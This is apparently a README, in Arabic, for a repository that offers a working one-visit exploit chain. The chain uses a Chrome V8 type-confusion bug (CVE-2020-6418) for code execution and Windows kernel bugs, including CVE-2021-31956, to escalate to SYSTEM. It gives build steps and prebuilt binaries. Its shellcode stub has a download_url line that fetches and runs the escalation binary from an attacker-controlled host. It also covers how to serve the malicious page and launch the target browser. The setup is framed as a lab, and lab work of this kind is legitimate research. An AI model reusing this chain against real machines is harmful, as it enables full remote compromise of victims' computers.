
سلسلة استغلال أحادية المرحلة لثغرة CVE-2020-6418 (RCE في Chrome) مقترنة بتصعيد صلاحيات Windows إلى SYSTEM، مع نصوص بناء وملفات ثنائية مجمعة مسبقًا.
يحتوي هذا المستودع على سلسلة استغلال عاملة أحادية المرحلة لثغرة CVE-2020-6418
(وهي خطأ خلط أنواع في مُحوِّل Turbofan الخاص بمحرك V8، يؤثر على متصفح Google Chrome
إصدار 80.0.3987.87 x64). زيارة صفحة خبيثة باستخدام Chrome ضعيف تمنحك
تنفيذ تعليمات برمجية أصلية داخل عملية العارض. من هناك، يقوم
الاستغلال بتحميل وتشغيل ملف ثنائي ثانٍ يضم ثغرتين إضافيتين
(نقص في فحص الطول في NtPowerInformation بالإضافة إلى CVE-2021-31956، وهي
فيضان في التجمع داخل ntfs.sys) للانتقال من عملية غير مميزة وصولًا إلى
NT AUTHORITY\SYSTEM.
الأمر برمته يعمل بزيارة واحدة للصفحة، دون أي خطوات يدوية بين ثغرة المتصفح وحصولنا على صلاحيات SYSTEM.
الفضل الأصلي في استغلال Chrome يعود إلى Clement Lecigne (اكتشاف
الثغرة، فريق Google TAG) و Istvan Kurucsai / Vignesh S Rao (إثبات
المفهوم الأصلي، الذي نُشر لاحقًا كوحدة Metasploit). قمنا بإزالة
تبعيات Metasploit وأعدنا بناء آلية التسليم حول
أداة تحميل أصلية بدلًا من تضمين الحمولة في الصفحة. التفاصيل في
browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
جهاز المهاجم ("المضيف"): أي إصدار حديث من Windows مع Visual Studio 2019 أو 2022 (أي إصدار، يكفي Community، أو أدوات Build Tools فقط)، و NASM و Python 3. هذا هو الجهاز الذي تبني عليه كل شيء وتخدم صفحة الاستغلال منه.
الجهاز المستهدف ("الجهاز الافتراضي VM"): يجب أن يطابق هذا تمامًا، فالاستغلال يعتمد على إزاحات (offsets) مُرمَّزة تصلح فقط لهذه الإصدارات تحديدًا.
winver أو
[System.Environment]::OSVersion في PowerShell.chrome://version.C:\lab8 (يمكن أن يكون فارغًا، فقط يجب أن يكون موجودًا).اختبرنا هذا على جهاز افتراضي في VMware Workstation مع محول شبكة من نوع Host Only فقط، لكن أي إعداد يتمكن فيه الجهاز الافتراضي من الوصول إلى المضيف عبر HTTP يعمل بالطريقة نفسها.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
قبل البناء الأول، افتح browser-exploit\shellcode\download_and_run_stub.asm
واعمل على تعديل هذين السطرين بالقرب من الأسفل:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP هو عنوان IP لهذا الجهاز كما يظهر من الجهاز الافتراضي (شغّل
ipconfig على الجهاز الافتراضي وتحقق من محول الشبكة الذي يطابق شبكة Host Only
أو NAT، أو شغّل ipconfig ببساطة على المضيف واستخدم المحول الموجود على
نفس الشبكة الفرعية للجهاز الافتراضي). يجب أن يتطابق destination_path مع أي مكان
تريد أن يصل إليه ملف EoP الثنائي داخل الجهاز الافتراضي، وهو افتراضيًا C:\lab8.
بعد التعديل، أعد تجميع الـ stub وأعد توليد exploit.html (الأمران
من الخطوة 1، مع تخطي بناء privilege-escalation لأن هذا
البناء لا يعتمد على عنوان IP).
إذا كنت لا تريد لمس ملف التجميع لإجراء اختبار سريع، فإن prebuilt/
يحتوي بالفعل على نسخة عاملة مع عنوان IP خاص بنا مضمّنًا فيها. ستعمل فقط
إذا كانت شبكتك تطابقه صدفة، لذا بناء نسختك الخاصة هو الطريق الموثوق.
ضع exploit.html و exploit.exe (الملف الذي بُني في
privilege-escalation/) في المجلد نفسه، ثم:
python -m http.server 8000
يجب أن يكون exploit.exe قابلاً للوصول عبر عنوان URL المحدد الذي وضعته في
download_url أعلاه، لأن الـ stub الأصلي يجلبه مباشرةً، وليس
عبر المتصفح.
ملاحظة سريعة حول جدار حماية المضيف: إذا لم يتمكن الجهاز الافتراضي من الوصول إلى المنفذ 8000، فغالبًا
ما يكون السبب هو Windows Defender Firewall الذي يحظر الاتصال الوارد على
شبكة غير مصنفة، أو قاعدة متبقية تحظر python.exe
تحديدًا (في بعض الأحيان يقوم Windows بإنشاء واحدة تلقائيًا في المرة الأولى
التي يحاول فيها أحد التطبيقات قبول اتصال على شبكة غير موثوقة). تحقق من
Get-NetFirewallRule -DisplayName "python.exe" في PowerShell بصلاحيات مرتفعة
إذا واجهت هذه المشكلة.
تأكد من أن إصدار Windows و Chrome يطابقان المتطلبات أعلاه.
أنشئ C:\lab8 إذا لم يكن موجودًا بالفعل (يُقبل أن يكون فارغًا).
إذا كان هذا جهازًا افتراضيًا عاريًا لم يمر أبدًا بدورة إقلاع حقيقية،
فقد يكون C:\Windows\bootstat.dat مفقودًا أو فارغًا، وثغرة النواة
تتطلب وجوده بمحتوى صالح. إذا لزم الأمر:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
شغّل Chrome الضعيف باستخدام --no-sandbox (لا يتضمن هذا PoC
هروبًا من وضع الحماية، لذا يجب أن يكون العارض بالفعل خارج وضع الحماية للوصول إلى
نظام الملفات وتشغيل العمليات) ووجّهه إلى الصفحة:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
افتح DevTools (F12) وتفقد تبويب Console، فالاستغلال يسجّل تقدمه
هناك. إذا كان كل شيء متوافقًا، يجب أن ترى خلط الأنواع ينجح،
ثم يقوم الـ stub بتحميل وتشغيل ملف EoP الثنائي، وبعد بضع
ثوانٍ تظهر نافذة وحدة تحكم جديدة تعمل بصلاحيات NT AUTHORITY\SYSTEM.
exploit_template.html
(objleaker_offset, float_carw_elements_offset, وما تبقى) خاصة
بالإصدار 80.0.3987.87 x64، ولن تعمل على إصدار مختلف
حتى لو كان إصدار تصحيح واحدًا مختلفًا.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, ومختلف
إزاحات EPROCESS/ETHREAD في privilege-escalation/exploit.c) مُرمَّزة
لذلك الإصدار.download_url في download_and_run_stub.asm يطابق العنوان والمنفذ
اللذين يقدم المضيف عليهما الخدمة فعليًا، وأن الجهاز الافتراضي يمكنه الوصول إليه (أمر
بسيط مثل curl http://YOUR_HOST_IP:8000/exploit.exe من داخل الجهاز الافتراضي هو
طريقة سريعة للتحقق من الاتصال قبل إلقاء اللوم على الاستغلال).مزيد من التفاصيل حول كل جزء، بما في ذلك لماذا بُني بهذه الطريقة، موجودة في README الخاص بكل مجلد.